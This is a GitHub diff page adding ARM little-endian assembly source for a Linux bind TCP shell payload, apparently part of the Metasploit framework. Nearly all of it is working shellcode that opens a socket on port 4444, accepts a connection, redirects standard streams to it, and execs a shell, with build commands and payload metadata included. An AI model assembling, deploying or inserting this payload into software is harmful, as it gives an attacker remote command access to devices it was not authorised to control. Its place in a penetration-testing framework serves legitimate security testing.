File tree Expand file tree Collapse file tree
external/source/shellcode/linux/armle Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ @@
2+ @
3+ @ Name: single_sock_bind
4+ @ Qualities: -
5+ @ Authors: civ , repmovsb
6+ @ License: MSF_LICENSE
7+ @ Description:
8+ @
9+ @ Implementation of a Linux bind TCP shellcode for ARM LE architecture.
10+ @
11+ @ This source is built from the payload module (instead of other way around...)
12+ @
13+ @ Assemble with: as single_sock_bind.s - o single_sock_bind.o
14+ @ Link with: ld single_sock_bind.o - o single_sock_bind
15+ @
16+ @ Meta - Information:
17+ @
18+ @ meta - shortname=Linux Bind TCP
19+ @ meta - description=Listen on a port for a connection and run a second stage
20+ @ meta - authors=civ , repmovsb
21+ @ meta - os=linux
22+ @ meta - arch=armle
23+ @ meta - category=singles
24+ @ meta - connection - type=bind
25+ @ meta - name=bind_tcp
26+ @@
27+
28+ .text
29+ .globl _start
30+ _start:
31+ @ int socket( int domain , int type , int protocol) ;
32+ @ socket( 2 , 1 , 6 )
33+ mov r0 , # 2
34+ mov r1 , # 1
35+ mov r2 , # 6
36+ mov r7 , # 1
37+ lsl r7 , r7 , # 8
38+ add r7 , r7 , # 25
39+ svc 0
40+ mov r6 , r0
41+
42+ @ bind
43+ add r1 , pc , # 128
44+ mov r2 , # 16
45+ mov r7 , # 1
46+ lsl r7 , r7 , # 8
47+ add r7 , r7 , # 26
48+ svc 0
49+
50+ @ listen
51+ mov r0 , r6
52+ mov r7 , # 1
53+ lsl r7 , r7 , # 8
54+ add r7 , r7 , # 28
55+ svc 0
56+
57+ @ accept
58+ mov r0 , r6
59+ sub r1 , r1 , r1
60+ sub r2 , r2 , r2
61+ mov r7 , # 1
62+ lsl r7 , r7 , # 8
63+ add r7 , r7 , # 29
64+ svc 0
65+
66+ @ dup
67+ mov r6 , r0
68+ mov r1 , # 2
69+ loop :
70+ mov r0 , r6
71+ mov r7 , # 63
72+ svc 0
73+ subs r1 , r1 , # 1
74+ bpl loop
75+
76+ @ execve(SHELL , [ SHELLARG ], [ NULL ] )
77+ add r0 , pc , # 36
78+ eor r4 , r4 , r4
79+ push {r4}
80+ mov r2 , sp
81+ add r4 , pc , # 36
82+ push {r4}
83+ mov r1 , sp
84+ mov r7 , # 11
85+ svc 0
86+
87+ @ addr
88+ @ port: 4444 , sin_fam = 2
89+ . word 0x5c110002
90+ @ ip : 0 . 0 . 0 . 0
91+ . word 0x00000000
92+
93+ @ SHELL
94+ . word 0x00000000 @ the shell goes here!
95+ . word 0x00000000
96+ . word 0x00000000
97+ . word 0x00000000
98+ @ SHELLARG
99+ . word 0x00000000 @ the args!
100+ . word 0x00000000
101+ . word 0x00000000
102+ . word 0x00000000
You can’t perform that action at this time.
0 commit comments